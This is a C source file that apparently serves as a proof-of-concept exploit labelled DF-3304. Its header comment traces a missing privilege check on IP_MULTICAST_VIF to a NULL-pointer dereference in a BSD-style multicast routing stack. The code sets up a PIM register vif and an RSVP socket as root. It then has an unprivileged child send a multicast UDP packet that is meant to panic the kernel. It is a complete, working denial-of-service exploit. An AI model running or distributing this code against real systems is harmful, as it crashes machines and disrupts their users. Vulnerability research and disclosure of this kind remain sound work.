DF-3304 / regvifnull.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 | /* * DF-3304 PoC: unprivileged NULL-pointer dereference via IP_MULTICAST_VIF * pointing at a PIM REGISTER vif. * * Chain: * ip_output.c:1487 IP_MULTICAST_VIF has NO privilege check (any UDP * socket may select any legal vif index) * ip_output.c:425 if (!rsvp_on) imo = NULL; -> imo survives only * when an RSVP daemon registered a vif * ip_output.c:428 ip_mforward(ip, ifp, m, imo) * ip_mroute.c:1186 X_ip_mforward imo fast path: ip_mdq(m, ifp, NULL, vifi) * ip_mroute.c:1469 viftable[xmt_vif].v_flags & VIFF_REGISTER * -> pim_register_send(ip, vifp, m, rt == NULL) * ip_mroute.c:2826 if ((mrt_api_config & MRT_MFC_RP) && * (rt->mfc_rp.s_addr != INADDR_ANY)) <- NULL deref * * Setup (root): MRT_INIT, MRT_API_CONFIG(MRT_MFC_RP), MRT_ADD_VIF with * VIFF_REGISTER, and a raw RSVP socket with IP_RSVP_VIF_ON (rsvp_on=1). * Trigger (unprivileged child): UDP socket, IP_MULTICAST_VIF=0, sendto a * multicast group. * * build: cc -O2 -o regvifnull regvifnull.c * run: ./regvifnull (as root; the panic-trigger runs as nobody) */ #include <sys/param.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/wait.h> #include <netinet/in.h> #include <arpa/inet.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include "ip_mroute_common.h" #ifndef IP_RSVP_VIF_ON #define IP_RSVP_VIF_ON 17 #endif #define IPPROTO_RSVP 46 #define TRIGGER_UID 32767 /* nobody */ int main(void) { struct vifctl vc; uint32_t api; int igmp, rsvp, rc, status; pid_t pid; igmp = socket(AF_INET, SOCK_RAW, IPPROTO_IGMP); if (igmp < 0) { perror("raw igmp socket (run as root)"); exit(1); } rc = mrt_init(igmp); if (rc < 0) { perror("MRT_INIT"); exit(1); } printf("MRT_INIT ok\n"); api = MRT_MFC_RP; rc = setsockopt(igmp, IPPROTO_IP, MRT_API_CONFIG, &api, sizeof(api)); printf("MRT_API_CONFIG(MRT_MFC_RP) rc=%d api=0x%x\n", rc, api); if (rc < 0) { perror("MRT_API_CONFIG"); exit(1); } /* vif0 = PIM register vif */ memset(&vc, 0, sizeof(vc)); vc.vifc_vifi = 0; vc.vifc_flags = VIFF_REGISTER; vc.vifc_threshold = 1; vc.vifc_rate_limit = 0; vc.vifc_lcl_addr.s_addr = inet_addr("127.0.0.2"); vc.vifc_rmt_addr.s_addr = 0; rc = setsockopt(igmp, IPPROTO_IP, MRT_ADD_VIF, &vc, sizeof(vc)); printf("MRT_ADD_VIF(REGISTER) rc=%d\n", rc); if (rc < 0) { perror("MRT_ADD_VIF"); exit(1); } /* RSVP socket so that rsvp_on != 0 and ip_output keeps imo */ rsvp = socket(AF_INET, SOCK_RAW, IPPROTO_RSVP); if (rsvp < 0) { perror("raw rsvp socket"); exit(1); } rc = setsockopt(rsvp, IPPROTO_IP, IP_RSVP_VIF_ON, (int[]){0}, sizeof(int)); printf("IP_RSVP_VIF_ON rc=%d\n", rc); if (rc < 0) { perror("IP_RSVP_VIF_ON"); exit(1); } pid = fork(); if (pid == 0) { struct sockaddr_in dst; int udp, vif = 0, loop = 0; char msg[] = "df3304"; if (setgid(TRIGGER_UID) || setuid(TRIGGER_UID)) { perror("setuid"); _exit(1); } printf("trigger: uid=%d euid=%d\n", getuid(), geteuid()); udp = socket(AF_INET, SOCK_DGRAM, 0); if (udp < 0) { perror("udp socket"); _exit(1); } /* no privilege check on this option: */ rc = setsockopt(udp, IPPROTO_IP, IP_MULTICAST_VIF, &vif, sizeof(vif)); printf("trigger: IP_MULTICAST_VIF(0) rc=%d\n", rc); if (rc < 0) { perror("IP_MULTICAST_VIF"); _exit(1); } setsockopt(udp, IPPROTO_IP, IP_MULTICAST_LOOP, &loop, sizeof(loop)); memset(&dst, 0, sizeof(dst)); dst.sin_family = AF_INET; dst.sin_len = sizeof(dst); dst.sin_port = htons(9); dst.sin_addr.s_addr = inet_addr("224.9.9.9"); printf("trigger: sending UDP to 224.9.9.9 (expect panic)\n"); fflush(stdout); rc = sendto(udp, msg, sizeof(msg), 0, (struct sockaddr *)&dst, sizeof(dst)); printf("trigger: sendto rc=%d errno=%d (no panic?)\n", rc, errno); _exit(rc < 0); } waitpid(pid, &status, 0); printf("child status 0x%x\n", status); printf("no panic observed\n"); return 0; } |